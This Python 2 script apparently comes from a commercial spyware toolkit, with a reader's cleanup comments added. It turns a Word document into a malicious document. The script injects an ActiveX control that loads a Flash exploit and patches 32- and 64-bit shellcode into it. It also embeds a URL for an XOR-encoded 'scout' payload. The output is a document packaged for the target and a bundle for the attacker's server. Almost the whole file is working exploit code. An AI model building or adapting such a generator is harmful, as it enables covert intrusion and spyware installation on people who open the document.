import sys import os import warnings import zlib import struct import random import shutil import zipfile from zipfile import ZipFile import time # Allow imports from ./pylzma.egg sys.path.append(os.getcwd() + '/' + "pylzma.egg") import pylzma def random_id(length): """ Return a random ID comprised of alternating letters and numbers. """ number = '0123456789' alpha = 'abcdefghijklmnopqrstuvwxyz' id = '' for _ in range(0, length, 2): id += random.choice(number) id += random.choice(alpha) return id def four_byte_xor(buf, key): """ Perform some kind of XOR with C structs. """ out = '' for i in range(0,len(buf)/4): c = struct.unpack("<I", buf[(i*4):(i*4)+4])[0] c ^= key out += struct.pack("<I", c) reminder = len(buf) % 4 for i in range(len(buf)-reminder, len(buf)): c = struct.unpack("B", buf[i])[0] c ^= 0x41 out += struct.pack("B", c) return out def byteArray2String(param): """ Open a temporary binary file. Write `param` to it, then read `param` back into `result`. TODO: figure out what the hell this is supposed to accomplish. """ with warnings.catch_warnings(): warnings.simplefilter('ignore') tmp = os.tempnam() with open(tmp, "wb") as f: f.write(param) with open(tmp, "rb") as f: result = f.read() try: os.unlink(tmp) except WindowsError: # Todo: why would this ever happen? print "I/O error when deleting %s file"%(tmp) return result def create_doc(): """ Update the Microsoft word document provided with our exploit. Todo: split this into sub-functions, it's big and does too much. """ # Unpack the zip-file provided in input_file to "tmp". if not os.path.exists("tmp"): os.mkdir("tmp") myzip = ZipFile(input_file) myzip.extractall("tmp") myzip.close() # Update the content types of "[Content_Types].xml". # Todo: what's with that name? Is that a real file? # Doesn't look like it's being formatted or anything. with open("tmp/[Content_types].xml", "r") as f: content_types = f.read().lower() types_start = content_types.find("<types") types_length = content_types[idx:].find(">") + 1 types_end = types_start + types_length up_to_types = content_types[:types_end+1] if "vnd.ms-office.activex" not in content_types: up_to_types += '<Default ContentType="application/vnd.ms-office.activeX" Extension="bin"/>' if "image/x-wmf" in content_types: up_to_types += '<Default ContentType="image/x-wmf" Extension="wmf"/>' up_to_types += '<Override ContentType="application/vnd.ms-office.activeX+xml" PartName="/word/activeX/activeX1.xml"/>' up_to_types += content_types[types_start+types_length:] with open("tmp/[Content_Types].xml", 'w') as types_file: types_file.write(up_to_types) # Update the <relationships> attribute of tmp/word/_rels/document.xml.rels. with open("tmp/word/_rels/document.xml.rels", 'r') as rels_file: rels = rels_file.read().lower() # Add correct relationship attribute to up_to_end_relationships. end_relationships = rels.find("</relationships>") up_to_end_relationships = rels[:end_relationships] up_to_end_relationships += ('<Relationship Target="activeX/activeX1.xml" ' 'Type="http://schemas.openxmlformats.org/office' 'Document/2006/relationships/control" Id="rId1000"/>' '<Relationship Target="media/image1000.wmf" Type=' '"http://schemas.openxmlformats.org/officeDocument/' '2006/relationships/image" Id="rId1001"/>') # End the relationships attribute. up_to_end_relationships += "</Relationships>" # Save the file to disk. with open("tmp/word/_rels/document.xml.rels", 'w') as rels_file: rels_file.write(up_to_end_relationships) # Update the document body. # Todo: make the same changes as above for this part. buff = open("tmp/word/document.xml", 'r').read() #idx = buff.lower().find("</w:body") #idx2 = 0 idx = buff.lower().find("<w:body") idx2 = buff[idx:].lower().find(">") + 1 buff2 = buff[:idx+idx2] buff2 += '<w:control w:name="ShockwaveFlash1" r:id="rId1000"/>' buff2 += buff[idx+idx2:] open("tmp/word/document.xml", 'w').write(buff2) # Disallow anything which has an ActiveX control in: might interfere with our exploit. if os.path.exists("tmp/word/activeX"): print "[!!] Unsupported file: contains an ActiveX" sys.exit(-1); else: shutil.copytree("resources/activeX/", "tmp/word/activeX/") # Copy our image into /tmp/word/media, creating it if necessary. if not os.path.exists("tmp/word/media/"): shutil.copytree("resources/media/", "tmp/word/media/") else: shutil.copy("resources/media/image1000.wmf", "tmp/word/media/") random.seed() # If we're in test mode, skip the random filename generation # and name the SWF "avtest.swf". if not os.path.exists("c:\\RCS\\DB\\config\\test"): SWF_RANDOM_NAME = random_id(12) + ".swf" else: SWF_RANDOM_NAME = "avtest.swf" EXE_RANDOM_NAME = random_id(12) + ".dat" # Form EXE_URL and SWF_URL by concatenating sys.argv[2] and the # randomly generated IDs. # TODO: os.path.join should be used here. if sys.argv[2][-1] == "/": EXE_URL = sys.argv[2] + EXE_RANDOM_NAME SWF_URL = sys.argv[2] + SWF_RANDOM_NAME else: EXE_URL = sys.argv[2] + '/' + EXE_RANDOM_NAME SWF_URL = sys.argv[2] + '/' + SWF_RANDOM_NAME # Append "http" to EXE_URL and SWF_URL if it isn't there already. if EXE_URL[:4] != 'http' and EXE_URL[:4] != "HTTP": EXE_URL = "http://" + EXE_URL if SWF_URL[:4] != 'http' and SWF_URL[:4] != "HTTP": SWF_URL = "http://" + SWF_URL # Print details about this program's parameters. # Derived partly from argv and partly hardcoded. #SWF_URL = "/".join(sys.argv[2].split("/")[0:-1]) + '/' + SWF_RANDOM_NAME SCOUT_NAME = sys.argv[8] input_file = sys.argv[4] output_file = sys.argv[5] send_to_target_zip = sys.argv[3] send_to_server_zip = sys.argv[7] INPUT_SCOUT = sys.argv[6] exploit_file = "exploit.swf" XOR_KEY = random.randint(0xdead, 0xdeadbeef) print "SWF_URL: ", SWF_URL print "Target zip: ", send_to_target_zip print "Input file: ", input_file print "Output file: ", output_file print "INPUT_SCOUT: ", INPUT_SCOUT print "Server zip: ", send_to_server_zip print "Scout name: ", SCOUT_NAME print print "XOR key: ", XOR_KEY print "Exploit file: ", exploit_file random.seed() create_doc() ####################################################### #### CLEANED DOWN TO HERE #### ======================================================= # Todo: figure out what these magic numbers mean. XOR_OFFT = 0x88 * 2 URL_OFFT = XOR_OFFT + (0x4*2) SCOUT_OFFT = 0x110 * 2 XOR_OFFT64 = 0 URL_OFFT64 = 8 SCOUT_OFFT64 = 0x88 * 2 # decompress swf compressed_swf = open("resources/exploit.swf", 'rb').read() swf_buff = zlib.decompress(compressed_swf[8:]) # replace :) swf_buff = swf_buff.replace("vector-exploit", "pector-isbrovi") swf_buff = swf_buff.replace("ht-201", "abc123") ##### 32 ####### # get offset to shellcode stage2_offset = swf_buff.find(b"EFBEADDE") if stage2_offset == 0: print "[!!] Gadget for shellcode not found" sys.exit(-1) print "[+] Gadget for shellcode found @ 0x%x" %(stage2_offset) swf_bytearray = bytearray(swf_buff) # replace shellcode 32 shellcode = open("resources/shellcode", 'rb').read() if len(shellcode) > 5800: print "[!!] Shellcode too big: 0x%x" % (len(shellcode)) sys.exit(-1) hex_shellcode = shellcode.encode('hex') for i in range(len(hex_shellcode)): swf_bytearray[stage2_offset + i] = hex_shellcode[i] # modify URL 32 hex_url = EXE_URL.encode('hex') + "0000" print "[+] Hex URL => %s" %(hex_url) for i in range(len(hex_url)): swf_bytearray[stage2_offset + URL_OFFT + i] = hex_url[i] # modify scout name 32 hex_scout = "5c" + SCOUT_NAME.encode('hex') + "0000" print "[+] Scout Name => %s" % (hex_scout) for i in range(len(hex_scout)): swf_bytearray[stage2_offset + SCOUT_OFFT + i] = hex_scout[i] # modify xor key hex_xorkey = ("%08x" % XOR_KEY) print "[+] Hex key => %s" %(hex_xorkey) swf_bytearray[stage2_offset + XOR_OFFT + 0] = hex_xorkey[6] swf_bytearray[stage2_offset + XOR_OFFT + 1] = hex_xorkey[7] swf_bytearray[stage2_offset + XOR_OFFT + 2] = hex_xorkey[4] swf_bytearray[stage2_offset + XOR_OFFT + 3] = hex_xorkey[5] swf_bytearray[stage2_offset + XOR_OFFT + 4] = hex_xorkey[2] swf_bytearray[stage2_offset + XOR_OFFT + 5] = hex_xorkey[3] swf_bytearray[stage2_offset + XOR_OFFT + 6] = hex_xorkey[0] swf_bytearray[stage2_offset + XOR_OFFT + 7] = hex_xorkey[1] ##### 64 ####### # get offset to shellcode64 stage264_offset = swf_buff.find(b"CAF1ADDE") if stage264_offset == 0: print "[!!] Gadget for shellcode64 not found" sys.exit(-1) print "[+] Gadget for shellcode found @ 0x%x" %(stage264_offset) # replace shellcode 64 shellcode64 = open("resources/shellcode64", 'rb').read() if len(shellcode64) > (5800*2): print "[!!] Shellcode too big: 0x%x" % (len(shellcode64)) sys.exit(-1) hex_shellcode64 = shellcode64.encode('hex') for i in range(len(hex_shellcode64)): swf_bytearray[stage264_offset + i] = hex_shellcode64[i] # modify URL 64 hex_url = EXE_URL.encode('hex') + "0000" print "[+] Hex URL => %s" %(hex_url) for i in range(len(hex_url)): swf_bytearray[stage264_offset + URL_OFFT64 + i] = hex_url[i] # modify scout name 32 hex_scout = "5c" + SCOUT_NAME.encode('hex') + "0000" print "[+] Scout Name => %s" % (hex_scout) for i in range(len(hex_scout)): swf_bytearray[stage264_offset + SCOUT_OFFT64 + i] = hex_scout[i] # modify xor key 64 hex_xorkey = ("%08x" % XOR_KEY) print "[+] Hex key => %s" %(hex_xorkey) swf_bytearray[stage264_offset + XOR_OFFT64 + 0] = hex_xorkey[6] swf_bytearray[stage264_offset + XOR_OFFT64 + 1] = hex_xorkey[7] swf_bytearray[stage264_offset + XOR_OFFT64 + 2] = hex_xorkey[4] swf_bytearray[stage264_offset + XOR_OFFT64 + 3] = hex_xorkey[5] swf_bytearray[stage264_offset + XOR_OFFT64 + 4] = hex_xorkey[2] swf_bytearray[stage264_offset + XOR_OFFT64 + 5] = hex_xorkey[3] swf_bytearray[stage264_offset + XOR_OFFT64 + 6] = hex_xorkey[0] swf_bytearray[stage264_offset + XOR_OFFT64 + 7] = hex_xorkey[1] # compress swf uncompressed_len = len(swf_bytearray) uncompressed_len += len("ZWS\x0d") uncompressed_len += 4 # + se stessa print "[+] Uncompressed len: 0x%x" %(uncompressed_len) lzma_buff = pylzma.compress(byteArray2String(swf_bytearray)) compressed_len = len(lzma_buff) - 5 print "[+] Compressed len: 0x%x" %(compressed_len) output_buff = "ZWS\x0d" output_buff += struct.pack("<L", uncompressed_len) output_buff += struct.pack("<L", compressed_len) output_buff += lzma_buff # write it open(SWF_RANDOM_NAME, 'wb').write(output_buff) # modify ole link ole_link_buff = open("tmp/word/activeX/activeX1.bin", 'rb').read() ole_link_offt = ole_link_buff.find("h\x00t\x00t\x00p") print "[+] Offset to first link: 0x%x" %(ole_link_offt) ole_link2_offt = ole_link_buff.find("h\x00t\x00t\x00p", ole_link_offt+1) print "[+] Offset to second link: 0x%x" %(ole_link2_offt) ole_link3_offt = ole_link_buff.find("h\x00t\x00t\x00p", ole_link2_offt+1) print "[+] Offset to third link: 0x%x" %(ole_link3_offt) swf_url_bytearray = bytearray(SWF_URL + "\x00\x00") ole_link_bytearray = bytearray(ole_link_buff) for i in range(len(ole_link_bytearray)): if i == ole_link_offt or i == ole_link2_offt or i == ole_link3_offt: y = 0 for x in range(len(swf_url_bytearray)): ole_link_bytearray[i+y] = swf_url_bytearray[x] ole_link_bytearray[i+y+1] = 0x0 y += 2 # dump modified ole link open("tmp/word/activeX/activeX1.bin", 'wb').write(byteArray2String(ole_link_bytearray)) # create docx cwd = os.getcwd() os.chdir(cwd + "\\tmp") os.system("zip.exe -r ..\\tmp.zip *") os.chdir(cwd) shutil.move("tmp.zip", output_file) # zip per target os.system("zip.exe -r \"" + send_to_target_zip + "\" \"" + output_file + "\"") shutil.move(send_to_target_zip + ".zip", send_to_target_zip) # zip per server open(EXE_RANDOM_NAME, 'wb').write(four_byte_xor(open(INPUT_SCOUT, 'rb').read(), XOR_KEY)) #shutil.copy(INPUT_SCOUT, EXE_RANDOM_NAME) os.system("zip.exe \"" + send_to_server_zip + "\" " + EXE_RANDOM_NAME + " " + SWF_RANDOM_NAME)